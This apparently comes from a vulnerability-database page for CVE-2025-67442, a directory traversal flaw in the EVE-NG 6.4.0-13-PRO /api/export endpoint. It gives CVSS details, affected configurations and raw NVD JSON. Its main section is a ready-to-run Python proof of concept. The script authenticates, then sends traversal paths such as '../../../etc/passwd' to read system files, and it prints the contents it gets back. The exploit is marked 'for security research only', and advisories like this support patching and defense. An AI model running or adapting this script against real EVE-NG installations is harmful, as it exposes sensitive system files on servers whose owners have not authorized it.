Security Vulnerability Report
中文
CVE-2025-67442 CVSS 7.6 HIGH

CVE-2025-67442

Published: 2025-12-19 16:15:59
Last Modified: 2026-01-02 16:57:56

Description

EVE-NG 6.4.0-13-PRO is vulnerable to Directory Traversal. The /api/export interface allows authenticated users to export lab files. This interface lacks effective input validation and filtering when processing file path parameters submitted by users.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:eve-ng:eve-ng:6.4.0-13:*:*:*:professional:*:*:* - VULNERABLE
EVE-NG 6.4.0-13-PRO

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67442 PoC - EVE-NG Directory Traversal # Target: EVE-NG 6.4.0-13-PRO # Endpoint: /api/export def exploit_cve_2025_67442(target_url, username, password): """ Exploit for EVE-NG Directory Traversal vulnerability Target: /api/export endpoint Authentication required: Low privilege user """ login_url = f"{target_url}/api/auth/login" export_url = f"{target_url}/api/export" # Step 1: Authenticate and get session session = requests.Session() login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Directory Traversal attack to read sensitive files # Read /etc/passwd file traversal_paths = [ "../../../etc/passwd", "....//....//....//etc/passwd", "..\..\..\etc\passwd" ] for path in traversal_paths: payload = { "type": "lab", "path": path } print(f"[*] Trying path: {path}") response = session.get(export_url, params=payload, verify=False, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] SUCCESS! File content retrieved:") print(response.text[:500]) return response.text elif response.status_code == 200 and len(response.text) > 0: print(f"[+] Partial success - got {len(response.text)} bytes") print(response.text[:200]) print("[-] Exploitation failed - no valid path found") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_67442.py <target_url> <username> <password>") print("Example: python cve_2025_67442.py https://eve-ng.local admin eve") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_67442(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67442", "sourceIdentifier": "[email protected]", "published": "2025-12-19T16:15:59.467", "lastModified": "2026-01-02T16:57:55.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVE-NG 6.4.0-13-PRO is vulnerable to Directory Traversal. The /api/export interface allows authenticated users to export lab files. This interface lacks effective input validation and filtering when processing file path parameters submitted by users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eve-ng:eve-ng:6.4.0-13:*:*:*:professional:*:*:*", "matchCriteriaId": "9E960412-4211-4FB4-9C47-21F8D38D8ED0"}]}]}], "references": [{"url": "https://github.com/XunMInt/cve/blob/main/EVE-NG_20251207.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}